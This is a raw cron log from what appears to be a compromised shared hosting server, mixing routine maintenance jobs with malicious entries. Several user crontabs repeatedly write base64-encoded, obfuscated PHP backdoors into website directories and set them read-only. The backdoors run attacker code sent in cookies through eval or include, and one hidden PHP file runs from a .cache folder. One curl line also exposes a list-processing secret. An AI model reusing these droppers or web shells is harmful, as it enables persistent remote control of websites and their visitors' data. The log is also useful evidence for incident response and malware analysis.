Jun  7 08:58:01 medusa CROND[18766]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 08:58:01 medusa CROND[18767]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 08:58:01 medusa CROND[18768]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 08:58:01 medusa CROND[18771]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Jun  7 08:59:02 medusa CROND[20450]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 08:59:02 medusa CROND[20453]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 08:59:02 medusa CROND[20454]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 08:59:02 medusa CROND[20452]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 08:59:02 medusa CROND[20455]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 08:59:02 medusa CROND[20457]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Jun  7 08:59:02 medusa CROND[20458]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 08:59:02 medusa CROND[20459]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 08:59:02 medusa CROND[20460]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 08:59:02 medusa CROND[20461]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 08:59:02 medusa CROND[20462]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 08:59:02 medusa CROND[20463]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 09:00:01 medusa CROND[22331]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Jun  7 09:00:01 medusa CROND[22332]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Jun  7 09:00:01 medusa CROND[22341]: (root) CMD (   bash -c "sleep $((RANDOM % 1800))" ;imunify-antivirus imunify-patch subscriptions refresh > /dev/null 2>&1)
Jun  7 09:00:01 medusa CROND[22345]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Jun  7 09:00:02 medusa CROND[22360]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 09:00:02 medusa CROND[22362]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 09:00:02 medusa CROND[22363]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Jun  7 09:00:02 medusa CROND[22365]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 09:00:02 medusa CROND[22366]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Jun  7 09:00:02 medusa CROND[22364]: (artconc) CMD (/usr/local/bin/php /home13/artconc/public_html/apis/clima/climaop/curl.php >/dev/null 2>&1)
Jun  7 09:00:02 medusa CROND[22368]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 09:00:02 medusa CROND[22361]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cleanuserphpsessions.cronlock /usr/share/cagefs/clean_user_php_sessions)
Jun  7 09:00:02 medusa CROND[22367]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Jun  7 09:00:02 medusa CROND[22377]: (artconc) CMD (/usr/local/bin/php /home13/artconc/public_html/apis/monedas/cron.php >/dev/null 2>&1)
Jun  7 09:00:02 medusa CROND[22378]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux-xray-plugin-check.cronlock /usr/share/lvemanager-xray/plugins/install-xray-plugin.py --check > /dev/null 2>&1)
Jun  7 09:00:02 medusa CROND[22380]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Jun  7 09:00:02 medusa CROND[22381]: (wmondolo) CMD (/usr/bin/php -q /home12/wmondolo/public_html/lista/cron_insert_turno.php > /dev/null)
Jun  7 09:00:02 medusa CROND[22382]: (dieg0fd) CMD (/usr/local/bin/php /home17/dieg0fd/public_html/wp-cron.php >/dev/null 2>&1)
Jun  7 09:00:02 medusa CROND[22384]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 09:00:02 medusa CROND[22386]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 09:00:02 medusa CROND[22385]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Jun  7 09:00:02 medusa CROND[22383]: (mailman) CMD (/usr/local/cpanel/scripts/restartsrv_mailman --status &> /dev/null && /usr/local/cpanel/3rdparty/bin/python2 -S /usr/local/cpanel/3rdparty/mailman/cron/disabled)
Jun  7 09:00:02 medusa CROND[22395]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
